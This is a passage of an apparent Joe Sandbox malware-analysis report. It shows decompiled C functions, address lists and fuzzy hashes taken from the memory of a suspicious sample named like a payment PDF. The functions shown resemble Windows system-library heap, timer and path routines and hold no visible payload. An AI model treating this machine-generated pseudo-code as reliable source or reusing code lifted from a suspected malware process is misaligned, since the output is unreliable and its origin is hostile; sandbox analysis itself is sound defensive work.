				_t169 = __ecx - 0xa8 + (( *(__edx + 8) & 0x000000ff) << 5);
				_v24 = __ecx;
				_t74 =  *((intOrPtr*)(__ecx + 0xc));
				_v16 = _t74;
				if( *((intOrPtr*)(_t74 + 0xe8)) != 0) {
					if(( *(_t74 + 0x40) & 0x00000001) == 0) {
						L3347FED0( *((intOrPtr*)(_t74 + 0xc8)));
						_push( *((intOrPtr*)(_v20 + 0xc8)));
						E3347E740(0);
					}
				}
				_t155 =  *(_t169 + 4) & 0x0000ffff;
				_v12 = _t155;
				if(_t155 >  *((intOrPtr*)(_t169 + 0xc))) {
					_t76 = _t169 + 8;
					_v8 = _t76;
					if(_t155 <=  *_t76 >>  *(_t169 + 0x10)) {
						goto L2;
					} else {
						_t142 =  *(_t133 + 8);
						_t161 = 1 <<  *(_t133 + 8);
						if(1 > 0x78000) {
							_t161 = 0x78000;
						}
						_v16 = ( *(_t133 + 0xa) & 0x0000ffff) + _t161;
						L3346DD43( *((intOrPtr*)(_v24 + 0xc)), _t133, _t142);
						if(L33483C40() != 0) {
							_t111 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						} else {
							_t111 = 0x7ffe0380;
						}
						if( *_t111 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000001) == 0) {
								goto L15;
							}
							_t135 = _v24;
							E3352F582(_v24,  *((intOrPtr*)(_v24 + 0xc)), _t133, _v16, ( *(_v20 + 0x14) & 0x0000ffff) << 3);
							goto L16;
						} else {
							L15:
							_t135 = _v24;
							L16:
							_t94 = _t169 + 8;
							asm("lock dec dword [eax]");
							if(_v12 != 0) {
								_t94 = L3349FE50(_t169);
								_t171 = _t94;
								if(_t171 != 0) {
									_t178 = 1 <<  *(_t171 + 8);
									if(_t178 > 0x78000) {
										_t178 = 0x78000;
									}
									_v12 = ( *(_t171 + 0xa) & 0x0000ffff) + _t178;
									asm("lock xadd [eax], ecx");
									L3346DD43( *((intOrPtr*)(_t135 + 0xc)), _t171,  ~(( *(_t171 + 0xa) & 0x0000ffff) + _t178));
									if(L33483C40() != 0) {
										_t120 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									} else {
										_t120 = 0x7ffe0380;
									}
									if( *_t120 != 0) {
										if(( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
											E3352F4FD(_t135,  *((intOrPtr*)(_t135 + 0xc)), _t171, _v12, 0);
											E3352F582(_t135,  *((intOrPtr*)(_t135 + 0xc)), _t171, _v12, 0);
										}
									}
									_t94 = _v8;
									asm("lock dec dword [eax]");
								}
							}
							L8:
							return _t94;
						}
					}
				}
				L2:
				_t158 = 1 <<  *(_t133 + 8);
				if(1 > 0x78000) {
					_t158 = 0x78000;
				}
				_v8 = ( *(_t133 + 0xa) & 0x0000ffff) + _t158;
				asm("lock xadd [eax], ecx");
				_t84 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t84 != 0) {
					if( *_t84 == 0) {
						goto L5;
					}
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					L6:
					if( *_t85 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							E3352F607(_t133,  *((intOrPtr*)(_t173 + 0xc)), _t133, _v8, ( *(_v20 + 0x14) & 0x0000ffff) << 3);
						}
					}
					L33482330(_t169 >> 0x00000002 & 0x0000001f, 0x33564f60 + (_t169 >> 0x00000002 & 0x0000001f) * 4);
					 *_t133 =  *_t169;
					 *(_t169 + 4) =  *(_t169 + 4) + 1;
					 *_t169 = _t133;
					E334824D0(0x33564f60 + (_t169 >> 0x00000002 & 0x0000001f) * 4);
					_t94 = 1;
					 *((intOrPtr*)(_t169 + 0x16)) =  *((intOrPtr*)(_t169 + 0x16)) + 1;
					goto L8;
				}
				L5:
				_t85 = 0x7ffe0380;
				goto L6;
			}

0x33482537
0x3348253a
0x33482541
0x33482552
0x33482554
0x33482558
0x3348255b
0x33482566
0x334826dd
0x334826e9
0x334826f2
0x334826f8
0x334826f8
0x334826dd
0x3348256c
0x33482573
0x33482579
0x334825f5
0x334825f8
0x33482605
0x00000000
0x3348260b
0x3348260b
0x33482618
0x3348261c
0x3348261e
0x3348261e
0x33482628
0x3348263c
0x33482648
0x334d60c4
0x3348264e
0x3348264e
0x3348264e
0x33482656
0x334d60db
0x00000000
0x00000000
0x334d60e7
0x334d60fd
0x00000000
0x3348265c
0x3348265c
0x3348265c
0x33482660
0x33482660
0x33482663
0x3348266b
0x33482673
0x33482678
0x3348267c
0x33482685
0x3348268e
0x33482690
0x33482690
0x3348269a
0x334826a3
0x334826ad
0x334826b9
0x334d6110
0x334826bf
0x334826bf
0x334826bf
0x334826c7
0x334d6127
0x334d6139
0x334d6146
0x334d6146
0x334d6127
0x334826cd
0x334826d1
0x334826d1
0x3348267c
0x334825ec
0x334825f2
0x334825f2
0x33482656
0x33482605
0x3348257b
0x33482586
0x3348258a
0x3348258c
0x3348258c
0x33482594
0x3348259d
0x334825a7
0x334825ac
0x334d6153
0x00000000
0x00000000
0x334d6162
0x334825b7
0x334825ba
0x334d6179
0x334d6197
0x334d6197
0x334d6179
0x334825d0
0x334825d7
0x334825d9
0x334825de
0x334825e0
0x334825e7
0x334825e8
0x00000000
0x334825e8
0x334825b2
0x334825b2
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7131b650d37193e0ac9c97a20510d7435fe48a8277c15e7717111b13a4f519a0
Instruction ID: ee60a6ee6b652ee179ed05a03dcf18693a4789b904ad2d125d3de05515a8f919
Opcode Fuzzy Hash: 7131b650d37193e0ac9c97a20510d7435fe48a8277c15e7717111b13a4f519a0
Instruction Fuzzy Hash: 1871C175A047419FD341CF28C490B66B7E5FF84700F0885A9E898CF752DB39D946CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 334777F9 Relevance: .2, Instructions: 164
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E334777F9(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t63;
				signed int _t65;
				intOrPtr _t66;
				char* _t71;
				intOrPtr _t75;
				intOrPtr _t76;
				signed int _t80;
				intOrPtr _t81;
				void* _t85;
				char _t86;
				intOrPtr* _t87;
				intOrPtr _t89;
				void* _t95;
				intOrPtr _t98;
				void* _t100;
				void* _t105;
				signed int _t106;
				intOrPtr* _t110;
				void* _t111;
				intOrPtr* _t112;
				intOrPtr _t113;
				intOrPtr _t114;
				intOrPtr _t115;
				signed int _t116;
				void* _t128;

				_t118 = (_t116 & 0xfffffff8) - 0x4c;
				_v8 =  *0x3356b370 ^ (_t116 & 0xfffffff8) - 0x0000004c;
				_t110 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t103 = __ecx[3];
				if(_t103 == 0) {
					_t58 =  *__ecx | __ecx[1];
					if(( *__ecx | __ecx[1]) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(L33483C40() != 0) {
							_t63 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t63 = 0x7ffe0386;
						}
						if( *_t63 != 0) {
							L33544EC1(_t110);
						}
						_push(0);
						_push( *((intOrPtr*)(_t110 + 0x10)));
						_t58 = E334B32F0();
					}
					L20:
					_pop(_t105);
					_pop(_t111);
					_pop(_t85);
					return E334B4B50(_t58, _t85, _v8 ^ _t118, _t103, _t105, _t111);
				}
				_t65 = __ecx[2];
				_t86 =  *((intOrPtr*)(_t65 + 0x10));
				_t95 =  *((intOrPtr*)(_t103 + 0x10)) - _t86;
				_t106 =  *(_t65 + 0x14);
				_t66 =  *((intOrPtr*)(_t103 + 0x14));
				_t103 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t86;
				_v52 = _t106;
				_t58 = E334B6310(_t95, _t66, 0x2710, 0);
				_v56 = _t58;
				if( *_t110 != _t86 ||  *(_t110 + 4) != _t106) {
					L3:
					 *(_t110 + 0x44) = _t58;
					_t103 = _t58 * 0x2710 >> 0x20;
					 *_t110 = _t86;
					 *(_t110 + 4) = _t106;
					_v20 = _t58 * 0x2710;
					_v16 = _t58 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t86;
						_v32 = _t106;
						if(L33483C40() != 0) {
							_t71 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t71 = 0x7ffe0386;
						}
						if( *_t71 != 0) {
							_t103 = _v40;
							E33545149(_t110, _v40, _t86, _t106);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_push( *((intOrPtr*)(_t110 + 0x10)));
						_t58 = E334B4490();
						goto L20;
					} else {
						_t87 = 0x7ffe03b0;
						do {
							_t112 = 0x7ffe0010;
							do {
								_t75 =  *0x335667f0; // 0x0
								_v68 = _t75;
								_t76 =  *0x335667f4; // 0x0
								_v64 = _t76;
								_v72 =  *_t87;
								_v76 =  *((intOrPtr*)(_t87 + 4));
								while(1) {
									_t103 =  *0x7ffe000c;
									_t98 =  *0x7ffe0008;
									if(_t103 ==  *_t112) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t87 = 0x7ffe03b0;
								_t113 =  *0x7ffe03b0;
								_t80 =  *0x7FFE03B4;
								_v60 = _t113;
								_t112 = 0x7ffe0010;
								_v56 = _t80;
							} while (_v72 != _t113 || _v76 != _t80);
							_t81 =  *0x335667f0; // 0x0
							_t114 =  *0x335667f4; // 0x0
							_v76 = _t114;
							_t115 = _v68;
						} while (_t115 != _t81 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t100 = _t98 - _v60 - _t115;
						_t110 = _v48;
						_t89 = _v44;
						asm("sbb edx, eax");
						_t128 = _t103 - _v52;
						if(_t128 < 0 || _t128 <= 0 && _t100 <= _t89) {
							_t86 = _t100 - _t89;
							asm("sbb edx, edi");
							_t106 = _t103;
						} else {
							_t86 = 0;
							_t106 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t110 + 0x44) == _t58) {
						goto L20;
					}
					goto L3;
				}
			}

0x33477801
0x3347780b
0x33477811
0x33477813
0x33477819
0x3347781e
0x33477822
0x33477827
0x33477996
0x33477999
0x3347799b
0x3347799d
0x334779a7
0x334d1795
0x334779ad
0x334779ad
0x334779ad
0x334779b4
0x334779c3
0x334779c3
0x334779b6
0x334779b7
0x334779ba
0x334779ba
0x33477978
0x3347797c
0x3347797d
0x3347797e
0x33477989
0x33477989
0x3347782d
0x33477835
0x33477838
0x3347783a
0x3347783d
0x33477840
0x33477846
0x33477848
0x3347784e
0x33477852
0x33477857
0x3347785d
0x33477868
0x3347786d
0x33477870
0x33477877
0x33477879
0x3347787c
0x33477880
0x33477884
0x33477941
0x33477941
0x33477945
0x33477950
0x334d17b1
0x33477956
0x33477956
0x33477956
0x3347795e
0x334d17bb
0x334d17c3
0x334d17c3
0x33477968
0x33477969
0x3347796f
0x33477970
0x33477973
0x00000000
0x3347788a
0x3347788a
0x33477894
0x33477894
0x33477899
0x33477899
0x3347789e
0x334778a2
0x334778a7
0x334778ad
0x334778b9
0x334778bd
0x334778bd
0x334778bf
0x334778c5
0x00000000
0x00000000
0x334779ca
0x334779ca
0x334778cb
0x334778cb
0x334778d0
0x334778d2
0x334778d9
0x334778dd
0x334778e2
0x334778e2
0x334778ee
0x334778f3
0x334778f9
0x334778fd
0x33477901
0x33477917
0x3347791b
0x3347791d
0x33477921
0x33477925
0x33477927
0x33477929
0x3347793b
0x3347793d
0x3347793f
0x334d179f
0x334d179f
0x334d17a1
0x334d17a1
0x00000000
0x33477929
0x3347798a
0x3347798d
0x00000000
0x00000000
0x00000000
0x3347798f

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ff1b9a0d24306888f21665e113158af1ed91040d7ada79dadd4507769c2328c
Instruction ID: d3a5be773f5860e6e3b961e2e54fbb48ae7b37ca99e0ec1cf0937c9d0ac84a01
Opcode Fuzzy Hash: 0ff1b9a0d24306888f21665e113158af1ed91040d7ada79dadd4507769c2328c
Instruction Fuzzy Hash: EC5178B4A09301CFE714CF29C19092ABBE9FF88640F94496EF5A897351DB30E845CF96

Uniqueness

Uniqueness Score: -1.00%

Function 334ED250 Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E334ED250(signed short* _a4, signed short* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int* _v28;
				void* _t32;
				signed int _t33;
				void* _t36;
				signed int _t45;
				signed short* _t46;
				void* _t52;
				signed int _t56;
				signed int _t59;
				signed short* _t63;
				signed short* _t65;
				short* _t69;
				signed int _t72;
				signed int _t73;
				signed short* _t75;
				signed int _t76;
				signed int _t79;
				signed int* _t81;
				signed short* _t83;
				void* _t85;
				signed int _t86;
				void* _t88;

				_t88 = (_t86 & 0xfffffff8) - 0x14;
				_t83 = _a8;
				_t32 = E334734C0(_t83);
				_t65 = _t83;
				if(_t32 == 5) {
					_t33 =  *_t83 & 0x0000ffff;
					if(_t33 == 0) {
						L7:
						if(_a12 == 0) {
							_t79 = 0;
							_v24 = 0;
							L13:
							_t63 = _a4;
							if(L33491D10( &_v12, _t63) < 0) {
								L35:
								_t36 = 0;
								L36:
								return _t36;
							}
							_v16 = _v12 & 0x0000ffff;
							if(L33491D10( &_v12, _t83) < 0) {
								goto L35;
							}
							_v20 = _v12 & 0x0000ffff;
							_t81 = L33485D90(_v16 + 6,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, (_v12 & 0x0000ffff) + _t79 + _v16 + 6);
							_v28 = _t81;
							if(_t81 == 0) {
								goto L35;
							} else {
								goto L16;
							}
							do {
								L16:
								_t45 =  *_t63 & 0x0000ffff;
								if(_t45 == 0) {
									_t46 = 0;
									L26:
									_t63 = _t46;
									L27:
									L334B88C0(_t81, _t83, _v20);
									_t88 = _t88 + 0xc;
									_t48 = _v24;
									_t69 = _t81 + _v20;
									if(_v24 == 0) {
										 *_t69 = 0;
									} else {
										L334B88C0(_t69, _a12, _t48 + 2);
										_t88 = _t88 + 0xc;
									}
									_t81 = _v16;
									_t70 = _t81;
									if(E334A3194(_t81, 0) != 0) {
										_t85 = E334ACAF0(_t70, _t81, _a16, _a20, _a24);
										_t52 = 0;
										L34:
										E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t81);
										_t36 = _t85;
										goto L36;
									} else {
										goto L31;
									}
								}
								_t72 = _t45;
								while(1) {
									_t63 =  &(_t63[1]);
									_t75 = _t63;
									if(_t72 == 0x3b) {
										break;
									}
									 *_t81 = _t72;
									_t81 =  &(_t81[0]);
									_t56 =  *_t63 & 0x0000ffff;
									_t72 = _t56;
									if(_t56 != 0) {
										continue;
									}
									break;
								}
								if(_t81 != _v16) {
									_t73 = 0x5c;
									if( *((intOrPtr*)(_t81 - 2)) != _t73) {
										 *_t81 = _t73;
										_t81 =  &(_t81[0]);
									}
								}
								_t46 = 0;
								_t63 = _t75;
								if( *_t75 != 0) {
									goto L27;
								} else {
									goto L26;
								}
								L31:
							} while (_t63 != 0);
							_t52 = 0;
							_t85 = 0;
							goto L34;
						}
						if(L33491D10( &_v12, _a12) < 0) {
							goto L35;
						}
						_t79 = _v12 & 0x0000ffff;
						L10:
						_v24 = _t79;
						goto L13;
					}
					_t76 = _t33;
					while(_t76 != 0x2e) {
						_t65 =  &(_t65[1]);
						_t59 =  *_t65 & 0x0000ffff;
						_t76 = _t59;
						if(_t59 != 0) {
							continue;
						}
						goto L7;
					}
					_t79 = 0;
					goto L10;
				}
				if(E334A3194(_t65, 1) == 0) {
					goto L35;
				}
				_t36 = E334ACAF0(_t65, _t83, _a16, _a20, _a24);
				goto L36;
			}

0x334ed258
0x334ed25d
0x334ed262
0x334ed267
0x334ed26c
0x334ed291
0x334ed299
0x334ed2b0
0x334ed2b3
0x334ed2d9
0x334ed2db
0x334ed2df
0x334ed2df
0x334ed2ef
0x334ed407
0x334ed407
0x334ed409
0x334ed40f
0x334ed40f
0x334ed2fa
0x334ed30b
0x00000000
0x00000000
0x334ed31a
0x334ed336
0x334ed338
0x334ed33e
0x00000000
0x00000000
0x00000000
0x00000000
0x334ed344
0x334ed344
0x334ed344
0x334ed34a
0x334ed389
0x334ed38b
0x334ed38b
0x334ed38d
0x334ed393
0x334ed39c
0x334ed39f
0x334ed3a3
0x334ed3a7
0x334ed3bd
0x334ed3a9
0x334ed3b1
0x334ed3b6
0x334ed3b6
0x334ed3c0
0x334ed3c6
0x334ed3cf
0x334ed3ee
0x334ed3f0
0x334ed3f2
0x334ed3fe
0x334ed403
0x00000000
0x00000000
0x00000000
0x00000000
0x334ed3cf
0x334ed34c
0x334ed34e
0x334ed34e
0x334ed351
0x334ed357
0x00000000
0x00000000
0x334ed359
0x334ed35c
0x334ed35f
0x334ed362
0x334ed367
0x00000000
0x00000000
0x00000000
0x334ed367
0x334ed36d
0x334ed371
0x334ed376
0x334ed378
0x334ed37b
0x334ed37b
0x334ed376
0x334ed37e
0x334ed380
0x334ed385
0x00000000
0x334ed387
0x00000000
0x334ed387
0x334ed3d1
0x334ed3d1
0x334ed3d9
0x334ed3db
0x00000000
0x334ed3db
0x334ed2c4
0x00000000
0x00000000
0x334ed2ca
0x334ed2cf
0x334ed2cf
0x00000000
0x334ed2cf
0x334ed29b
0x334ed29d
0x334ed2a3
0x334ed2a6
0x334ed2a9
0x334ed2ae
0x00000000
0x00000000
0x00000000
0x334ed2ae
0x334ed2d5
0x00000000
0x334ed2d5
0x334ed277
0x00000000
0x00000000
0x334ed287
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 841ddc28af16eda66a065c12b7bbd1f33eb2c64351661267d32a9e5a5bf1116f
Instruction ID: b5528869d58b55d1e6fd4e130a37999920f6eccdbf1da3a21f88daed057bcbfd
Opcode Fuzzy Hash: 841ddc28af16eda66a065c12b7bbd1f33eb2c64351661267d32a9e5a5bf1116f
Instruction Fuzzy Hash: C951F5BA6003129FDB019FA4CC40AAB77E5EF96685F44482DF980D7351EB34D816C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 3346B273 Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E3346B273(signed int __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v20;
				void* __ebx;
				void* __ecx;
				void* __edi;
				intOrPtr* _t27;
				intOrPtr _t28;
				void* _t36;
				intOrPtr* _t42;
				void* _t43;
				intOrPtr _t44;
				intOrPtr* _t49;
				signed int _t54;
				intOrPtr _t57;
				intOrPtr _t59;
				void* _t67;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr* _t79;
				intOrPtr* _t81;
				intOrPtr* _t84;

				_t71 = __edx;
				_push(_t59);
				_push(_t59);
				_v8 = _t59;
				_t54 = __edx * 0xc;
				_v12 = __edx;
				_t75 = _t54 + 0x33569340;
				L33482330(__edx,  *((intOrPtr*)(_t54 + 0x3356933c)));
				_t81 =  *_t75;
				if(_t81 == _t75) {
					L28:
					E334824D0( *((intOrPtr*)(_t54 + 0x3356933c)));
					_t27 = 0;
					goto L15;
				} else {
					_t28 = _v8;
					while(_t81 != _t28) {
						_t81 =  *_t81;
						if(_t81 != _t75) {
							continue;
						} else {
							goto L28;
						}
						goto L31;
					}
					E334AC640(_t54, 0, _t71, _t75);
					 *((intOrPtr*)(_t81 + 0xc)) = 1;
					asm("lock xadd [eax], ecx");
					if(0xffffffff > 0) {
						L30:
						_t63 = 1;
						E334AC640(_t54, 1, 1, _t75);
						_t77 = 0;
						goto L10;
					} else {
						if(0xffffffff != 0) {
							_push(0xe);
							asm("int 0x29");
							goto L30;
						} else {
							L334A1D66(0xfffffffffffffffe, 1, 0);
							_t63 =  *_t81;
							_t42 =  *((intOrPtr*)(_t81 + 4));
							if( *((intOrPtr*)(_t63 + 4)) != _t81 ||  *_t42 != _t81) {
								_push("true");
								_pop(_t67);
								asm("int 0x29");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t54);
								_push(_t81);
								_push(_t75);
								if(_v20 != 0) {
									L26:
									_t43 = 0xc000000d;
								} else {
									_t79 = _a12;
									if(_t79 == 0) {
										goto L26;
									} else {
										_t57 = _a4;
										if(_t57 == 0) {
											goto L26;
										} else {
											_t44 =  *0x33565d78; // 0x0
											_t84 = L33485D90(_t67,  *0x33565d74, _t44 + 0x40000, 0x10);
											if(_t84 == 0) {
												_t43 = 0xc0000017;
											} else {
												 *((intOrPtr*)(_t84 + 8)) = _t57;
												 *((intOrPtr*)(_t84 + 0xc)) = _a8;
												L3347FED0(0x335632d8);
												_t49 =  *0x335633cc; // 0x774933c8
												if( *_t49 != 0x335633c8) {
													_push("true");
													asm("int 0x29");
													goto L26;
												} else {
													 *_t84 = 0x335633c8;
													 *((intOrPtr*)(_t84 + 4)) = _t49;
													 *_t49 = _t84;
													_push(0x335632d8);
													 *0x335633cc = _t84;
													E3347E740(0x335633c8);
													 *_t79 = _t84;
													_t43 = 0;
												}
											}
										}
									}
								}
								return _t43;
							} else {
								 *_t42 = _t63;
								 *((intOrPtr*)(_t63 + 4)) = _t42;
								if(_t42 == _t63) {
									_t63 = _v12 + 2;
									asm("lock btr [eax], ecx");
								}
								_t77 = _t81;
								L10:
								E334824D0( *((intOrPtr*)(_t54 + 0x3356933c)));
								if(_t77 != 0) {
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t77 + 8)));
									_t36 = E33490130();
									_push(_t81);
									_push(0);
									if(_t36 != 0) {
										_push( *0x3356921c);
									} else {
										_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
									}
									E33483BC0();
									L334A1D66(_t63, 1, "true");
									E334AC640(_t54, 1, 1, _t77);
								}
								_t27 = 1;
								L15:
								return _t27;
							}
						}
					}
				}
				L31:
			}

0x3346b273
0x3346b278
0x3346b279
0x3346b27d
0x3346b280
0x3346b285
0x3346b28e
0x3346b294
0x3346b299
0x3346b29d
0x334cccb6
0x334cccbc
0x334cccc1
0x00000000
0x3346b2a3
0x3346b2a3
0x3346b2a6
0x334cccac
0x334cccb0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x334cccb0
0x3346b2b0
0x3346b2bb
0x3346b2c1
0x3346b2c8
0x334ccccd
0x334ccccd
0x334ccccf
0x334cccd4
0x00000000
0x3346b2ce
0x3346b2ce
0x334cccc8
0x334ccccb
0x00000000
0x3346b2d4
0x3346b2d6
0x3346b2db
0x3346b2dd
0x3346b2e3
0x3346b362
0x3346b364
0x3346b365
0x3346b367
0x3346b368
0x3346b369
0x3346b36a
0x3346b36b
0x3346b36c
0x3346b36d
0x3346b36e
0x3346b36f
0x3346b379
0x3346b37a
0x3346b37b
0x3346b37c
0x3346b3f6
0x3346b3f6
0x3346b37e
0x3346b37e
0x3346b383
0x00000000
0x3346b385
0x3346b385
0x3346b38a
0x00000000
0x3346b38c
0x3346b38c
0x3346b3a4
0x3346b3a8
0x3346b3ea
0x3346b3aa
0x3346b3ad
0x3346b3b6
0x3346b3b9
0x3346b3be
0x3346b3ca
0x3346b3f1
0x3346b3f4
0x00000000
0x3346b3cc
0x3346b3cc
0x3346b3ce
0x3346b3d1
0x3346b3d3
0x3346b3d4
0x3346b3da
0x3346b3df
0x3346b3e1
0x3346b3e1
0x3346b3ca
0x3346b3a8
0x3346b38a
0x3346b383
0x3346b3e7
0x3346b2e9
0x3346b2e9
0x3346b2eb
0x3346b2f0
0x3346b2fb
0x3346b301
0x3346b301
0x3346b305
0x3346b307
0x3346b30d
0x3346b314
0x3346b324
0x3346b329
0x3346b32e
0x3346b32f
0x3346b333
0x3346b35a
0x3346b335
0x3346b33b
0x3346b33b
0x3346b33e
0x3346b345
0x3346b34d
0x3346b34d
0x3346b354
0x3346b355
0x3346b359
0x3346b359
0x3346b2e3
0x3346b2ce
0x3346b2c8
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86c7ffc244a7daee1b8923eeb8cf29176461af89ebe218691e60235100f2e87d
Instruction ID: 6573e2811affbbac3c1811e6d5bedc15b9e72544bf5cd531bf82a3e702916077
Opcode Fuzzy Hash: 86c7ffc244a7daee1b8923eeb8cf29176461af89ebe218691e60235100f2e87d
Instruction Fuzzy Hash: F5411575B40700AFD7258F1EC940B0AB7E9EF80B54F15842EE5559B761DB70DC82CB98

Uniqueness

Uniqueness Score: -1.00%

Function 33483660 Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E33483660(intOrPtr __ecx, signed int __edx, intOrPtr _a4, intOrPtr _a8) {
				char _v5;
				intOrPtr _v12;
				unsigned int _v16;
				intOrPtr _v20;
				void* __ebx;
				unsigned int _t54;
				signed int _t87;
				intOrPtr* _t89;
				char* _t90;
				intOrPtr _t102;
				signed int _t103;
				void* _t105;
				unsigned int _t112;
				unsigned int _t118;
				unsigned int _t123;
				intOrPtr* _t124;
				intOrPtr* _t125;
				unsigned int _t127;

				_v12 = __ecx;
				_v5 = __edx;
				_t54 = ((__edx & 0x000000ff) << 5) + __ecx;
				_v16 = _t54;
				_t123 = _t54 - 0xa8;
				 *(_t123 + 0x14) =  *(_t123 + 0x14) + 1;
				_t101 = 0x33564f60 + (_t123 >> 0x00000002 & 0x0000001f) * 4;
				L33482330(_t123 >> 0x00000002 & 0x0000001f, 0x33564f60 + (_t123 >> 0x00000002 & 0x0000001f) * 4);
				_t124 =  *_t123;
				if(_t124 != 0) {
					 *_t123 =  *_t124;
					 *((intOrPtr*)(_t123 + 4)) =  *((intOrPtr*)(_t123 + 4)) + 0xffff;
				}
				E334824D0(_t101);
				_t102 = _v5;
				if(_t124 == 0) {
					if(_t102 <= 7) {
						L16:
						_t125 = E334801F1( *((intOrPtr*)(_v12 + 0xc)), _t102, _a4, _a8);
						if(_t125 != 0) {
							asm("lock inc dword [eax]");
						}
						L11:
						_t118 =  *(_t123 + 0x14) & 0x0000ffff;
						if(_t118 > 0x40) {
							_t103 =  *(_t123 + 0x18) & 0x0000ffff;
							if(_t118 >= (( *(_t123 + 0x16) & 0x0000ffff) >> 1) + ( *(_t123 + 0x16) & 0x0000ffff) || _t103 >= _t118 - (_t118 >> 1)) {
								L22:
								 *(_t123 + 0x14) = 0;
								 *(_t123 + 0x16) = 0;
								 *(_t123 + 0x18) = 0;
								goto L12;
							} else {
								if( *((intOrPtr*)(_t123 + 0xc)) >= 2) {
									if( *((intOrPtr*)(_t123 + 0x10)) <= 2) {
										goto L22;
									}
									L25:
									asm("lock cmpxchg [edx], ecx");
									goto L22;
								}
								goto L25;
							}
						}
						L12:
						return _t125;
					}
					_t127 = _v16 + 0xffffff38;
					_v16 = _t127;
					_v20 = 0x33564f60 + (_t127 >> 0x00000002 & 0x0000001f) * 4;
					L33482330(0x33564f60 + (_t127 >> 0x00000002 & 0x0000001f) * 4, 0x33564f60 + (_t127 >> 0x00000002 & 0x0000001f) * 4);
					_t125 =  *_t127;
					if(_t125 != 0) {
						_t112 = _v16;
						 *_t112 =  *_t125;
						 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t112 + 4)) + 0xffff;
					}
					E334824D0(_v20);
					if(_t125 != 0) {
						_t102 = _t102 - 1;
						L4:
						if(_t125 == 0) {
							goto L16;
						}
						_t87 = 1 <<  *(_t125 + 8);
						if(1 > 0x78000) {
